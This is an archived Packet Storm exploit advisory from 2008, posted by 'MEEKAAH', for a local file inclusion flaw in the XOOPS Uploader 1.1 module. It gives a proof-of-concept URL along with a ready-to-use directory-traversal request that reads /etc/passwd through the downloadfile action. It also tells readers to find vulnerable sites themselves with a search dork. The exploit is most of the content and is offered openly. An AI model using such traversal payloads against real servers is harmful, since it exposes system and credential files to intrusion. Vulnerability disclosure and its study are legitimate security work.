xoopsuploader-lfi.txt

2008-06-09T00:00:00
ID PACKETSTORM:67084
Type packetstorm
Reporter MEEKAAH
Modified 2008-06-09T00:00:00

Description

                                        
                                            ` MMM MMM   
MMM MMM   
MMMMMMMMMMMMM MMMMMMMMM MMMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM MMMMMMMMM   
MM MMM MMM MM MMM MMM MMM MMM MMM MMM MMM MMM MMM  
MM MMM MMM MMMMMMM MMMMMMMM MMM MMM MMM MMM MMM MMM MMM MMM  
MM MMM MMM MMMMMMM MMMMMMMM MMM MMMMM MMMMMMMMMM MMMMMMMMMM MMM MMM  
MM MMM MMM MM MMM MMM MMMN MMM MMM MMM MMM MMM MMM  
MM MMM MMM MMMMMMMMM MMMMMMMMMM MMM NMM MMM MMM MMM MMM MMM MMM  
  
  
[*] Vulnerable : XOOPS Module Uploader 1.1 - Local File Inclusion  
Module url : http://www.xoops.org/modules/repository/singlefile.php?cid=28&lid=1243  
  
[*] Author : MEEKAAH  
  
[*] Dork : Find it yourself ;)  
  
[*] POC : http://localhost/modules/uploader/index.php?action=downloadfile&filename=[LFI]  
  
[*] Example : http://localhost/modules/uploader/index.php?action=downloadfile&filename=../../../../../../../../../../../../../../../../etc/passwd  
  
-----------------------------------------------------------------------------------------------------------  
  
[*] Greetings : Alex, Adeel, CeBbZ, Cubacola, Noel ...  
  
`